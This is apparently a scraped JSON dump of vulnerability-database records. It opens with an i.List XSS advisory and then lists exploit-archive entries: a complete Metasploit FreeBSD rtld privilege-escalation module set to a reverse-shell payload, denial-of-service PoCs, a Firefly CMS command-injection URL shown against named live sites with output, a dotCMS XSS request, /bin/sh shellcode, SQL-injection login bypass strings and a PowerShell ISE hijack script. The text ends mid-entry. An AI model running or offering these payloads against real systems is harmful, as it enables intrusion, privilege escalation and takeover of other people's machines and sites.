{"id": "SECURITYVULNS:DOC:13046", "bulletinFamily": "software", "title": "[MajorSecurity #10]i.List <= 1.5 - XSS", "description": "[MajorSecurity #10]i.List <= 1.5 - XSS \r\n----------------------------------------\r\n\r\nSoftware: i.List\r\n\r\nVersion: <=1.5\r\n\r\nType: XSS\r\n\r\nDate: June, 8th 2006\r\n\r\nVendor: Skoom\r\n\r\nPage: http://skoom.de\r\n\r\n\r\nCredits:\r\n-------------------------------\r\n\r\nDavid 'Aesthetico' Vieira-Kurz\r\n\r\nhttp://www.majorsecurity.de\r\n\r\n\r\nAffected Products:\r\n-------------------------------\r\n\r\ni.List 1.5 and prior\r\n\r\n\r\nDescription:\r\n-------------------------------\r\n\r\ni.List is a php/mysql TOPLIST script.\r\n\r\nRequirements:\r\n-------------------------------\r\n\r\nregister_globals = On\r\n\r\n\r\nVulnerability:\r\n-------------------------------\r\n\r\nInput passed to the Inputbox in "search.php", the 'URL' inputbox\r\nand 'ButtonURL' in "add.php" is not properly filtered and verified, before it is used.\r\nThis can be exploited to execute evil XSS-code.\r\n\r\nSolution:\r\n-------------------------------\r\n\r\nEdit the source code to ensure that input is properly sanitised.\r\nSet "register_globals" to "Off".\r\n\r\n\r\nExploitation:\r\n-------------------------------\r\nIn the inputbox of /search.php:\r\nSearch for: <script>alert("MajorSecurity")</script>\r\n\r\nIn the inputbox 'URL' of add.php:\r\nType in as URL: <script>alert("MajorSecurity")</script>\r\n\r\nIn the inputbox 'ButtonURL' of add.php:\r\nType in as URL: <script>alert("MajorSecurity")</script>\r\n\r\n\r\n\r\n\r\n\r\n\r\n", "published": "2006-06-09T00:00:00", "modified": "2006-06-09T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:13046", "reporter": "Securityvulns", "references": [], "cvelist": [], "type": "securityvulns", "lastseen": "2018-08-31T11:10:17", "history": [], "edition": 1, "hashmap": [{"key": "affectedSoftware", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "bulletinFamily", "hash": "f9fa10ba956cacf91d7878861139efb9"}, {"key": "cvelist", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cvss", "hash": "8cd4821cb504d25572038ed182587d85"}, {"key": "description", "hash": "f5bcf0c0ca0e74a3d4e748bed25a70cd"}, {"key": "href", "hash": "566bc78dc05ce7ac325f17bf16f681cb"}, {"key": "modified", "hash": "2e0608879e95dc5961bd91a4c00aee89"}, {"key": "published", "hash": "2e0608879e95dc5961bd91a4c00aee89"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "a49ebb2e1a771348dfa0039e0d589df6"}, {"key": "title", "hash": "45664246d0896ebdacc783e07d93ba44"}, {"key": "type", "hash": "d54751dd75af2ea0147b462b3e001cd0"}], "hash": "1a2e09b789bf0472f4c7c4f9a0c751c79a77ad77b387a1ca4c9bee9f2f4fb776", "viewCount": 2, "enchantments": {"score": {"value": 7.5, "vector": "NONE", "modified": "2018-08-31T11:10:17"}, "dependencies": {"references": [{"type": "securelist", "idList": ["SECURELIST:82490B192CB8F0CC0E1B0205E044FDB8"]}, {"type": "nessus", "idList": ["ILO_HPSBHF_03006.NASL", "MONGODB_3_2_8.NASL", "SLACKWARE_SSA_2019-044-01.NASL", "ILO_HPSBHF_02821.NASL", "KERNEL_BANNER_UNSUPPORTED.NASL", "ILO_HPSBHF_02939.NASL", "FEDORA_2019-1FB1547321.NASL", "FEDORA_2019-526EF126CD.NASL", "SAMBA_3_4_0.NASL", "SLACKWARE_SSA_2019-038-01.NASL"]}, {"type": "mozilla", "idList": ["MFSA2019-06", "MFSA2019-04"]}, {"type": "f5", "idList": ["F5:K07052904", "F5:K19916307"]}, {"type": "debian", "idList": ["DEBIAN:DLA-1654-1:B472E"]}], "modified": "2018-08-31T11:10:17"}, "vulnersScore": 7.5}, "objectVersion": "1.3", "affectedSoftware": []}

{"zdt": [{"lastseen": "2019-05-22T13:56:13", "bulletinFamily": "exploit", "description": "This Metasploit module exploits a vulnerability in the FreeBSD run-time link-editor (rtld). The rtld unsetenv() function fails to remove LD_* environment variables if __findenv() fails. This can be abused to load arbitrary shared objects using LD_PRELOAD, resulting in privileged code execution.", "modified": "2019-05-22T00:00:00", "published": "2019-05-22T00:00:00", "id": "1337DAY-ID-32767", "href": "https://0day.today/exploit/description/32767", "title": "FreeBSD rtld execl() Privilege Escalation Exploit", "type": "zdt", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nclass MetasploitModule < Msf::Exploit::Local\r\n Rank = ExcellentRanking\r\n\r\n include Msf::Post::File\r\n include Msf::Exploit::EXE\r\n include Msf::Exploit::FileDropper\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'FreeBSD rtld execl() Privilege Escalation',\r\n 'Description' => %q{\r\n This module exploits a vulnerability in the FreeBSD\r\n run-time link-editor (rtld).\r\n\r\n The rtld `unsetenv()` function fails to remove `LD_*`\r\n environment variables if `__findenv()` fails.\r\n\r\n This can be abused to load arbitrary shared objects using\r\n `LD_PRELOAD`, resulting in privileged code execution.\r\n\r\n This module has been tested successfully on:\r\n\r\n FreeBSD 7.2-RELEASE (amd64); and\r\n FreeBSD 8.0-RELEASE (amd64).\r\n },\r\n 'License' => MSF_LICENSE,\r\n 'Author' =>\r\n [\r\n 'Kingcope', # Independent discovery, public disclosure, and exploit\r\n 'stealth', # Discovery and exploit (4b1717926ed0d4823622011625fb1824)\r\n 'bcoles' # Metasploit (using Kingcope's exploit code [modified])\r\n ],\r\n 'DisclosureDate' => '2009-11-30',\r\n 'Platform' => ['bsd'], # FreeBSD\r\n 'Arch' =>\r\n [\r\n ARCH_X86,\r\n ARCH_X64,\r\n ARCH_ARMLE,\r\n ARCH_AARCH64,\r\n ARCH_PPC,\r\n ARCH_MIPSLE,\r\n ARCH_MIPSBE\r\n ],\r\n 'SessionTypes' => ['shell'],\r\n 'References' =>\r\n [\r\n ['BID', '37154'],\r\n ['CVE', '2009-4146'],\r\n ['CVE', '2009-4147'],\r\n ['SOUNDTRACK', 'https://www.youtube.com/watch?v=dDnhthI27Fg'],\r\n ['URL', 'https://seclists.org/fulldisclosure/2009/Nov/371'],\r\n ['URL', 'https://c-skills.blogspot.com/2009/11/always-check-return-value.html'],\r\n ['URL', 'https://lists.freebsd.org/pipermail/freebsd-announce/2009-December/001286.html'],\r\n ['URL', 'https://xorl.wordpress.com/2009/12/01/freebsd-ld_preload-security-bypass/'],\r\n ['URL', 'https://securitytracker.com/id/1023250']\r\n ],\r\n 'Targets' => [['Automatic', {}]],\r\n 'DefaultOptions' =>\r\n {\r\n 'PAYLOAD' => 'bsd/x86/shell_reverse_tcp',\r\n 'PrependSetresuid' => true,\r\n 'PrependSetresgid' => true,\r\n 'PrependFork' => true,\r\n 'WfsDelay' => 10\r\n },\r\n 'DefaultTarget' => 0))\r\n register_options [\r\n OptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/sbin/ping' ])\r\n ]\r\n register_advanced_options [\r\n OptBool.new('ForceExploit', [false, 'Override check result', false]),\r\n OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])\r\n ]\r\n end\r\n\r\n def base_dir\r\n datastore['WritableDir'].to_s\r\n end\r\n\r\n def suid_exe_path\r\n datastore['SUID_EXECUTABLE']\r\n end\r\n\r\n def upload(path, data)\r\n print_status \"Writing '#{path}' (#{data.size} bytes) ...\"\r\n rm_f path\r\n write_file path, data\r\n register_file_for_cleanup path\r\n end\r\n\r\n def is_root?\r\n (cmd_exec('id -u').to_s.gsub(/[^\\d]/, '') == '0')\r\n end\r\n\r\n def check\r\n kernel_release = cmd_exec('uname -r').to_s\r\n unless kernel_release =~ /^(7\\.[012]|8\\.0)/\r\n vprint_error \"FreeBSD version #{kernel_release} is not vulnerable\"\r\n return CheckCode::Safe\r\n end\r\n vprint_good \"FreeBSD version #{kernel_release} appears vulnerable\"\r\n\r\n unless command_exists? 'gcc'\r\n vprint_error 'gcc is not installed'\r\n return CheckCode::Safe\r\n end\r\n print_good 'gcc is installed'\r\n\r\n unless setuid? suid_exe_path\r\n vprint_error \"#{suid_exe_path} is not setuid\"\r\n return CheckCode::Detected\r\n end\r\n vprint_good \"#{suid_exe_path} is setuid\"\r\n\r\n CheckCode::Appears\r\n end\r\n\r\n def exploit\r\n unless check == CheckCode::Appears\r\n unless datastore['ForceExploit']\r\n fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'\r\n end\r\n print_warning 'Target does not appear to be vulnerable'\r\n end\r\n\r\n if is_root?\r\n unless datastore['ForceExploit']\r\n fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'\r\n end\r\n end\r\n\r\n unless writable? base_dir\r\n fail_with Failure::BadConfig, \"#{base_dir} is not writable\"\r\n end\r\n\r\n if base_dir.length > 1_000\r\n fail_with Failure::BadConfig, \"#{base_dir} path length #{base_dir.length} is larger than 1,000\"\r\n end\r\n\r\n payload_path = \"#{base_dir}/.#{rand_text_alphanumeric 5..10}\"\r\n\r\n executable_data = <<-EOF\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <unistd.h>\r\n\r\nvoid _init() {\r\n extern char **environ;\r\n environ=NULL;\r\n system(\"#{payload_path} &\");\r\n}\r\nEOF\r\n\r\n executable_path = \"#{base_dir}/.#{rand_text_alphanumeric 5..10}\"\r\n upload \"#{executable_path}.c\", executable_data\r\n output = cmd_exec \"gcc -o #{executable_path}.o -c #{executable_path}.c -fPIC -Wall\"\r\n register_file_for_cleanup \"#{executable_path}.o\"\r\n\r\n unless output.blank?\r\n print_error output\r\n fail_with Failure::Unknown, \"#{executable_path}.c failed to compile\"\r\n end\r\n\r\n lib_name = \".#{rand_text_alphanumeric 5..10}\"\r\n lib_path = \"#{base_dir}/#{lib_name}\"\r\n output = cmd_exec \"gcc -shared -Wall,-soname,#{lib_name}.0 #{executable_path}.o -o #{lib_path}.0 -nostartfiles\"\r\n register_file_for_cleanup \"#{lib_path}.0\"\r\n\r\n unless output.blank?\r\n print_error output\r\n fail_with Failure::Unknown, \"#{executable_path}.o failed to compile\"\r\n end\r\n\r\n exploit_data = <<-EOF\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n#include <unistd.h>\r\n\r\nint main() {\r\n extern char **environ;\r\n environ = (char**)calloc(8096, sizeof(char));\r\n\r\n environ[0] = (char*)calloc(1024, sizeof(char));\r\n environ[1] = (char*)calloc(1024, sizeof(char));\r\n strcpy(environ[1], \"LD_PRELOAD=#{lib_path}.0\");\r\n\r\n return execl(\"#{suid_exe_path}\", \"\", (char *)0);\r\n}\r\nEOF\r\n\r\n exploit_path = \"#{base_dir}/.#{rand_text_alphanumeric 5..10}\"\r\n upload \"#{exploit_path}.c\", exploit_data\r\n output = cmd_exec \"gcc #{exploit_path}.c -o #{exploit_path} -Wall\"\r\n register_file_for_cleanup exploit_path\r\n\r\n unless output.blank?\r\n print_error output\r\n fail_with Failure::Unknown, \"#{exploit_path}.c failed to compile\"\r\n end\r\n\r\n upload payload_path, generate_payload_exe\r\n chmod payload_path\r\n\r\n print_status 'Launching exploit...'\r\n output = cmd_exec exploit_path\r\n output.each_line { |line| vprint_status line.chomp }\r\n end\r\nend\n\n# 0day.today [2019-05-22] #", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://0day.today/exploit/32767"}, {"lastseen": "2019-05-22T13:55:10", "bulletinFamily": "exploit", "description": "Exploit for windows platform in category dos / poc", "modified": "2019-05-21T00:00:00", "published": "2019-05-21T00:00:00", "id": "1337DAY-ID-32753", "href": "https://0day.today/exploit/description/32753", "title": "Deluge 1.3.15 - (URL) Denial of Service Exploit", "type": "zdt", "sourceData": "#Exploit Title: Deluge 1.3.15 - 'URL' Denial of Service (PoC)\r\n#Discovery by: Victor Mondrag\u00f3n\r\n#Vendor Homepage: https://dev.deluge-torrent.org/\r\n#Software Link: http://download.deluge-torrent.org/windows/deluge-1.3.15-win32-py2.7.exe\r\n#Tested Version: 1.3.15\r\n#Tested on: Windows 7 Service Pack 1 x64\r\n\r\n#Steps to produce the crash:\r\n#1.- Run python code: deluge_url.py\r\n#2.- Open deluge_url.txt and copy content to clipboard\r\n#3.- Open deluge.exe\r\n#4.- Select \"File\" > \"Add Torrent\" > \"URL\"\r\n#5.- In \"From URL\" field paste Clipboard\r\n#6.- Select \"OK\"\r\n#7.- Crashed\r\n\r\ncod = \"\\x41\" * 5000\r\n\r\nf = open('deluge_url.txt', 'w')\r\nf.write(cod)\r\nf.close()\n\n# 0day.today [2019-05-22] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32753"}, {"lastseen": "2019-05-22T13:55:17", "bulletinFamily": "exploit", "description": "Exploit for windows platform in category dos / poc", "modified": "2019-05-21T00:00:00", "published": "2019-05-21T00:00:00", "id": "1337DAY-ID-32754", "href": "https://0day.today/exploit/description/32754", "title": "Deluge 1.3.15 - (Webseeds) Denial of Service Exploit", "type": "zdt", "sourceData": "#Exploit Title: Deluge 1.3.15 - 'Webseeds' Denial of Service (PoC)\r\n#Discovery by: Victor Mondrag\u00f3n\r\n#Vendor Homepage: https://dev.deluge-torrent.org/\r\n#Software Link: http://download.deluge-torrent.org/windows/deluge-1.3.15-win32-py2.7.exe\r\n#Tested Version: 1.3.15\r\n#Tested on: Windows 7 Service Pack 1 x64\r\n\r\n#Steps to produce the crash:\r\n#1.- Run python code: deluge_web.py\r\n#2.- Open deluge_web.txt and copy content to clipboard\r\n#3.- Open deluge.exe\r\n#4.- Select \"File\" > \"Create Torrent\" \r\n#5.- In \"Webseeds\" field paste Clipboard\r\n#6.- Crashed\r\n\r\ncod = \"\\x41\" * 5000\r\n\r\nf = open('deluge_web.txt', 'w')\r\nf.write(cod)\r\nf.close()\n\n# 0day.today [2019-05-22] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32754"}, {"lastseen": "2019-05-21T01:54:08", "bulletinFamily": "exploit", "description": "Exploit for windows platform in category dos / poc", "modified": "2019-05-16T00:00:00", "published": "2019-05-16T00:00:00", "id": "1337DAY-ID-32724", "href": "https://0day.today/exploit/description/32724", "title": "ZOC Terminal v7.23.4 - (Shell) Denial of Service Exploit", "type": "zdt", "sourceData": "#Exploit Title: ZOC Terminal v7.23.4 - 'Shell' Denial of Service (PoC)\r\n#Discovery by: Victor Mondrag\u00f3n\r\n#Vendor Homepage: https://www.emtec.com\r\n#Software Link: http://www.emtec.com/downloads/zoc/zoc7234_x64.exe\r\n#Tested Version: 7.23.4\r\n#Tested on: Windows 7 Service Pack 1 x64\r\n\r\n#Steps to produce the crash:\r\n#1.- Run python code: ZOC_Terminal_sh.py\r\n#2.- Open zoc_sh.txt and copy content to clipboard\r\n#3.- Open ZOC Terminal\r\n#4.- Select Options > Program Settings... > Special Files\r\n#5.- Select \"Shell\" field erease the content and Paste ClipBoard \r\n#6.- Click on \"Save\"\r\n#7.- Select View > \"Command Shell\" and select \"ok\"\r\n#8.- Crashed\r\n\r\ncod = \"\\x41\" * 270\r\n\r\nf = open('zoc_sh.txt', 'w')\r\nf.write(cod)\r\nf.close()\n\n# 0day.today [2019-05-21] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32724"}, {"lastseen": "2019-05-14T12:00:33", "bulletinFamily": "exploit", "description": "Exploit for php platform in category web applications", "modified": "2019-05-14T00:00:00", "published": "2019-05-14T00:00:00", "id": "1337DAY-ID-32680", "href": "https://0day.today/exploit/description/32680", "title": "Firefly CMS 1.0 Remote Command Execution Exploit #RCE", "type": "zdt", "sourceData": "[+] Remote Comand Execution on Firefly CMS v. 1.0\r\n\r\n[+] Date: 11/05/2019\r\n\r\n[+] CWE number: CWE-78\r\n\r\n[+] Risk: High\r\n\r\n[+] Author: Felipe Andrian Peixoto\r\n\r\n[+] Contact: [email\u00a0protected]\r\n\r\n[+] Tested on: Windows 7 and Linux\r\n\r\n[+] Vendor Homepage: https://fireflydigital.com/\r\n\r\n[+] Vulnerable File: site.php\r\n\r\n[+] Version : 1.0\r\n\r\n[+] Exploit: http://host/patch/site.php?pageID={${system(%27id%27)}}\r\n\r\n[+] PoC: https://www.volalaw.com/site.php?pageID={${system(%27id%27)}}\r\n https://www.beltsforanything.com/site.php?pageID={${system(%27id%27)}}\r\n\r\n[+] Example Request:\r\n\r\n GET /site.php?pageID={${system(%27id%27)}} HTTP/1.1\r\n Host: www.volalaw.com\r\n User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0\r\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3\r\n Accept-Encoding: gzip, deflate, br\r\n DNT: 1\r\n Connection: keep-alive\r\n Upgrade-Insecure-Requests: 1\r\n\r\n <html>\r\n <head>\r\n <title></title>\r\n <meta http-equiv=\"Content-Type\" content=\"text/html;\">\r\n <link rel=\"stylesheet\" href=\"bug.css\" type=\"text/css\">\r\n </head>\r\n <body text=\"#000000\" bgcolor=\"#F6EEE1\" link=\"#008080\" vlink=\"#808080\" alink=\"#000080\" background=\"templates/images/bkgd.jpg\">\r\n\r\n <table border=\"0\" width=\"100%\" cellspacing=\"0\" cellpadding=\"0\" align=\"center\">\r\n <tr valign=\"top\"> \r\n <td class=\"body_links\">uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0\r\n </td>\r\n </tr>\r\n </table>\r\n </body>\r\n </html>\r\n\r\n[+] More About : http://cwe.mitre.org/data/definitions/78.html\n\n# 0day.today [2019-05-14] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32680"}, {"lastseen": "2019-05-16T01:56:45", "bulletinFamily": "exploit", "description": "Exploit for jsp platform in category web applications", "modified": "2019-05-10T00:00:00", "published": "2019-05-10T00:00:00", "id": "1337DAY-ID-32699", "href": "https://0day.today/exploit/description/32699", "title": "dotCMS 5.1.1 - HTML Injection Vulnerability", "type": "zdt", "sourceData": "# Exploit Title: dotCMS 5.1.1 - HTML Injection \r\n# Exploit Author: Ismail Tasdelen\r\n# Vendor Homepage: https://dotcms.com/\r\n# Software Link: https://github.com/dotCMS\r\n# Software: dotCMS\r\n# Product Version: 5.1.1\r\n# Vulernability Type: Code Injection\r\n# Vulenrability: HTML Injection and Cross-site Scripting\r\n# CVE: CVE-2019-11846\r\n\r\n# HTTP POST Request :\r\n\r\nPOST /servlets/ajax_file_upload?fieldName=binary3 HTTP/1.1\r\nHost: TARGET\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nReferer: https://TARGET/c/portal/layout?p_l_id=b7ab5d3c-5ee0-4195-a17e-8f5579d718dd&p_p_id=site-browser&p_p_action=1&p_p_state=maximized&angularCurrentPortlet=site-browser&p_p_mode=view&_site_browser_struts_action=%2Fext%2Fcontentlet%2Fedit_contentlet&_site_browser_cmd=new&selectedStructure=33888b6f-7a8e-4069-b1b6-5c1aa9d0a48d&folder=SYSTEM_FOLDER&referer=/c/portal/layout%3Fp_l_id%3Db7ab5d3c-5ee0-4195-a17e-8f5579d718dd%26p_p_id%3Dsite-browser%26p_p_action%3D0%26p_p_state%3Dmaximized%26angularCurrentPortlet%3Dsite-browser%26p_p_mode%3Dview%26_site_browser_struts_action%3D%252Fext%252Fbrowser%252Fview_browser&in_frame=true&frame=detailFrame&container=true&angularCurrentPortlet=site-browser\r\nContent-Type: multipart/form-data; boundary=---------------------------5890268631313811380287956669\r\nContent-Length: 101313\r\nDNT: 1\r\nConnection: close\r\nCookie: messagesUtk=2366e7c3b5af4c8c93bb11d0c994848a; BACKENDID=172.18.0.3; JSESSIONID=65C16EFBEE5B7176B22083A0CA451F0A.c16f6b7d05d9; hs-messages-hide-welcome-message=true; access_token=eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJkZGFlZmEzNS0yYmMyLTQ4MTEtOTRjNi0xNGE0OTk4YzFkNDAiLCJpYXQiOjE1NTczOTY0NzYsInVwZGF0ZWRfYXQiOjEyMDQ4MjQ5NjEwMDAsInN1YiI6ImRvdGNtcy5vcmcuMSIsImlzcyI6IjRiNTkyYjIyLTBiMmEtNGI2ZC05NmU4LTdjMzBiMzgzOTM1ZiJ9.F8_L_Cu96pkYcwTl4ex_zfrA-Fk-rqNUz24oCV0gOmc; DWRSESSIONID=EZToDkzmi*mMXCayMxskFA75sGm\r\nUpgrade-Insecure-Requests: 1\r\n\r\n-----------------------------5890268631313811380287956669\r\nContent-Disposition: form-data; name=\"binary3FileUpload\"; filename=\"\\\"><img src=x onerror=alert(\\\"ismailtasdelen\\\")> .json\"\r\nContent-Type: application/json\r\n\r\n# HTTP Response :\r\n\r\nHTTP/1.1 200 \r\nContent-Length: 0\r\nDate: Thu, 09 May 2019 10:23:44 GMT\r\nConnection: close\n\n# 0day.today [2019-05-16] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32699"}, {"lastseen": "2019-05-16T01:57:23", "bulletinFamily": "exploit", "description": "Exploit for linux/x86 platform in category shellcode", "modified": "2019-05-08T00:00:00", "published": "2019-05-08T00:00:00", "id": "1337DAY-ID-32713", "href": "https://0day.today/exploit/description/32713", "title": "Linux/x86 - execve /bin/sh Shellcode (20 bytes)", "type": "zdt", "sourceData": "/*\r\n# Linux/x86 - execve /bin/sh shellcode (20 bytes)\r\n# Author: Rajvardhan\r\n# Tested on: i686 GNU/Linux\r\n# Shellcode Length: 20\r\n\r\nDisassembly of section .text:\r\n\r\n08049000 <.text>:\r\n 8049000: 31 c9 xor %ecx,%ecx\r\n 8049002: 6a 0b push $0xb\r\n 8049004: 58 pop %eax\r\n 8049005: 51 push %ecx\r\n 8049006: 68 2f 2f 73 68 push $0x68732f2f\r\n 804900b: 68 2f 62 69 6e push $0x6e69622f\r\n 8049010: 89 e3 mov %esp,%ebx\r\n 8049012: cd 80 int $0x80\r\n\r\n===============poc by Rajvardhan=========================\r\n*/\r\n\r\n#include<stdio.h>\r\n#include<string.h>\r\n\r\nunsigned char shellcode[] = \"\\x31\\xc9\\x6a\\x0b\\x58\\x51\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xcd\\x80\";\r\nmain()\r\n{\r\nprintf(\"Shellcode Length: %d\\n\", strlen(shellcode));\r\nint (*ret)() = (int(*)())shellcode;\r\nret();\r\n}\n\n# 0day.today [2019-05-16] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32713"}, {"lastseen": "2019-05-03T15:55:51", "bulletinFamily": "exploit", "description": "Exploit for php platform in category web applications", "modified": "2019-05-03T00:00:00", "published": "2019-05-03T00:00:00", "id": "1337DAY-ID-32644", "href": "https://0day.today/exploit/description/32644", "title": "Instagram Auto Follow - Authentication #Bypass Vulnerability", "type": "zdt", "sourceData": "# Exploit Title: Instagram Auto Follow - Autobot Instagram - Authentication Bypass\r\n# Exploit Author: Veyselxan\r\n# Vendor Homepage: https://codecanyon.net/item/instagram-auto-follow-autobot-instagram/23720743?s_rank=4\r\n\r\n# Tested on: Linux\r\nhttps://eowynlab.cf/autobot-follow/index.php\r\n\r\n\r\nusername: admin' or '1'='1\r\n\r\nPassword: admin' or '1'='1\n\n# 0day.today [2019-05-03] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32644"}, {"lastseen": "2019-05-03T01:50:33", "bulletinFamily": "exploit", "description": "Microsoft Windows PowerShell ISE will execute wrongly supplied code when debugging specially crafted PowerShell scripts that contain array brackets as part of the filename. This can result in ISE executing attacker supplied scripts pointed to by the filename and not the \"trusted\" PS file currently loaded and being viewed by a user in the host application. This undermines the integrity of PowerShell ISE allowing potential unexpected remote code execution.", "modified": "2019-05-03T00:00:00", "published": "2019-05-03T00:00:00", "id": "1337DAY-ID-32642", "href": "https://0day.today/exploit/description/32642", "title": "Windows #PowerShell ISE / Filename Parsing Flaw Remote Code Execution Exploit #RCE", "type": "zdt", "sourceData": "Windows PowerShell ISE / Filename Parsing Flaw Remote Code Execution Exploit\r\n\r\n[+] Credits: John Page (aka hyp3rlinx) \r\n[+] Website: hyp3rlinx.altervista.org\r\n[+] Source: http://hyp3rlinx.altervista.org/advisories/WINDOWS-POWERSHELL-ISE-FILENAME-PARSING-FLAW-RCE-0DAY.txt \r\n\r\n\r\n[Vendor]\r\nwww.microsoft.com\r\n\r\n\r\n[Product]\r\nWindows PowerShell ISE\r\n\r\nThe Windows PowerShell Integrated Scripting Environment (ISE) is a host application for Windows PowerShell.\r\nIn the ISE, you can run commands and write, test, and debug scripts in a single Windows-based graphic user interface.\r\n\r\n\r\n[Vulnerability Type]\r\nFilename Parsing Flaw Remote Code Execution 0day\r\n\r\n\r\n[References]\r\nZDI-CAN-8005\r\n\r\n\r\n[Security Issue]\r\nWindows PowerShell ISE will execute wrongly supplied code when debugging specially crafted PowerShell scripts that contain\r\narray brackets as part of the filename. This can result in ISE executing attacker supplied scripts pointed to by the filename\r\nand not the \"trusted\" PS file currently loaded and being viewed by a user in the host application. This undermines the integrity of\r\nPowerShell ISE allowing potential unexpected remote code execution.\r\n\r\nIn PowerShell brackets are used to access array elements.\r\n\r\nPS C:\\> $a=1..10\r\nPS C:\\> $a[4]\r\n5\r\n\r\nHowever, when brackets are used as part of the filename it can be used to hijack the currently loaded file in place of another malicious file.\r\nThat file must contain a single matching char value which is also found in our specially crafted filename.\r\n\r\nRequirements are both files must reside in the same directory. Example, if a file named [HelloWorldTutoria1].ps1 resides alongside a\r\nfile named 1.ps1 it will create a script hijacking condition. Note, the last letter is a number \"1\" not a lowercase \"L\".\r\n\r\nOther things I discovered playing with PS filenames is we can target scripts using a single alphabetic or numeric char and certain symbols.\r\nPowerShell scripts with only a single quote also work, [Pwned'].ps1 will load and execute ===> '.ps1 if debugged from the vuln ISE application.\r\n\r\nThese chars also get the job done:\r\n\"$\" \"_\" \"#\" \"^\" plus any single case insensitive letter a-z or numbers 0-9, [Hello_World].ps1 ====> _.ps1\r\n\r\n[Hello].ps1 will execute this instead =====> h.ps1\r\n\r\nDashes \"-\" throw the following error: \"The specified wildcard character pattern is not valid: [Hello-World].ps1\" when pointing to\r\nanother PS file named -.ps1 and seems to treat it sort of like a meta-character.\r\n\r\n[pw3d].ps1 <===== expected to execute\r\n\r\n3.ps1 <===== actually executed\r\n\r\nThis exploits the trust between PowerShell ISE and the end user. So scripts debugged local or over a network share display \"trusted\" code\r\nin ISE that is expected to run. However, when the user debugs the script a different script gets executed.\r\nInterestingly, that second script does NOT get loaded into PowerShell ISE upon execution, so a user may not see anything amiss.\r\n\r\nUser interaction is required for a successful attack to occur and obviously running any unknown PowerShell script can be dangerous. \r\nAgain, this exploit takes advantage of \"trust\" where users can see and read the code and will trust it as everything looks just fine and\r\nyet ... still they get PWNED!.\r\n\r\nTested successfully on Win7/10\r\n\r\nLong live user interaction! lol...\r\n\r\n\r\n[POC Video URL]\r\nhttps://www.youtube.com/watch?v=T2I_-iUPaFw\r\n\r\n\r\n[Exploit/POC]\r\nAfter opening PS files in ISE, set the execution policy so can test without issues.\r\nset-executionpolicy unrestricted -force\r\n\r\nPS scripts over Network shares may get 'RemoteSigned' security policy issue so run below cmd.\r\n\r\nset-executionpolicy unrestricted -force process\r\nChoose 'R' to run once.\r\n\r\nBelow Python script will create two .ps1 files to demonstrate the vulnerable condition.\r\nExamine the code, what does it say? it reads... Write-output \"Hello World!\"... now Run it...\r\n\r\nBAM! other PS script executes!.\r\n\r\n\r\n#PowerShell ISE 0day Xploit\r\n#ZDI-CAN-8005\r\n#ZDI CVSS: 7.0\r\n#hyp3rlinx\r\n#ApparitionSec\r\n\r\n\r\nfname1=\"[HelloWorldTutoria1].ps1\" #Expected code to run is 'HelloWorld!'\r\nfname2=\"1.ps1\" #Actual code executed is calc.exe for Poc\r\nevil_code=\"start calc.exe\" #Edit to suit your needs.\r\nc=0\r\npayload1='Write-Output \"Hello World!\"'\r\npayload2=evil_code+\"\\n\"+'Write-Output \"Hello World!\"'\r\n\r\ndef mk_ps_hijack_script():\r\n global c\r\n c+=1\r\n f=open(globals()[\"fname\"+str(c)],\"wb\")\r\n f.write(globals()[\"payload\"+str(c)])\r\n f.close()\r\n if c<2:\r\n mk_ps_hijack_script()\r\n \r\n\r\nif __name__==\"__main__\":\r\n mk_ps_hijack_script()\r\n print \"PowerShell ISE Xploit 0day Files Created!\"\r\n print \"Discovery by hyp3rlinx\"\r\n print \"ZDI-CAN-8005\"\n\n# 0day.today [2019-05-03] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32642"}, {"lastseen": "2019-05-03T21:57:18", "bulletinFamily": "exploit", "description": "Exploit for windows platform in category remote exploits", "modified": "2019-05-03T00:00:00", "published": "2019-05-03T00:00:00", "id": "1337DAY-ID-32648", "href": "https://0day.today/exploit/description/32648", "title": "MailCarrier 2.51 HELP Remote Buffer Overflow Exploit", "type": "zdt", "sourceData": "#!/usr/bin/python\r\n# Exploit Title: MailCarrier 2.51 - Remote 